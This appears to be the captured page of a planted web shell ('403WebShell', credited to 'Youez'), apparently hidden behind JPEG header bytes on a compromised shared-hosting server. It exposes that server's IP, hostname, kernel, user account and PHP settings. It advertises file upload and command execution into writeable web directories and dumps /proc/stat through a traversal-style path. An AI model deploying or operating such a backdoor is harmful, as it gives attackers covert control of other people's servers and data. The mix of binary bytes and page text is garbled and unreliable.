????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.64.1  /  Your IP : 216.73.216.1
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/./././proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/./././proc//stat
cpu  3161021407 53997185 1321861020 5158613085 207526110 0 131761922 4701210 0 0
cpu0 130864960 2266485 54879237 215526362 8649109 0 6314133 184156 0 0
cpu1 131615686 2243111 54928269 215067996 8689950 0 5908606 182996 0 0
cpu2 131656389 2232634 55102353 214882851 8712585 0 5785574 182190 0 0
cpu3 132251028 2242366 55046381 214552641 8693868 0 5590591 182050 0 0
cpu4 132396025 2249850 55273371 214981090 8773086 0 4764726 181091 0 0
cpu5 132305874 2244217 55259051 215196118 8712621 0 4706817 180863 0 0
cpu6 132169307 2249145 55326649 215249929 8726248 0 4674249 181673 0 0
cpu7 132379744 2265308 55298169 215083657 8741485 0 4634712 181274 0 0
cpu8 131991248 2266177 55190317 214737809 8753518 0 5356251 183049 0 0
cpu9 128314922 2251280 54905462 218220744 8829692 0 5470965 187656 0 0
cpu10 131734915 2285550 55140996 215099479 8693238 0 5323742 181861 0 0
cpu11 133066147 2281640 55191718 212767448 8347959 0 4432609 296333 0 0
cpu12 132151142 2255676 55127526 214745888 8703403 0 5293487 181788 0 0
cpu13 130731662 2208694 54520873 212210721 8451076 0 9883284 239771 0 0
cpu14 130849344 2227138 54507633 211857988 8436500 0 10019818 220592 0 0
cpu15 131811721 2226312 55044352 215245901 8663814 0 5266000 182234 0 0
cpu16 131590592 2239768 55183800 215150584 8688265 0 5402404 184741 0 0
cpu17 131717436 2242999 55022538 215315661 8640007 0 5345495 184361 0 0
cpu18 131746949 2262950 55036009 215305724 8635840 0 5251108 182218 0 0
cpu19 131600762 2223237 55025656 215562341 8624812 0 5239488 181828 0 0
cpu20 131839812 2280739 55233223 215823943 8688457 0 4495284 180525 0 0
cpu21 131722920 2234165 55304192 215933380 8671876 0 4497709 180237 0 0
cpu22 131792712 2263981 55099701 216037670 8663865 0 4488337 180887 0 0
cpu23 132720100 2253750 55213532 214057150 8334827 0 3616521 296822 0 0
intr 167171121256 61 9 0 0 479 0 0 0 1 0 0 0 15 0 4161098 0 0 0 0 0 0 0 0 0 0 0 0 3877533672 3862004664 0 25 0 23986682 725714100 0 154179468 149225054 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 159773921056
btime 1749132776
processes 575314844
procs_running 25
procs_blocked 0
softirq 71899176909 1 19221772 7007 1272666078 3250685166 0 359000984 342943832 1075644 2229066985

Youez - 2016 - github.com/yon3zu
LinuXploit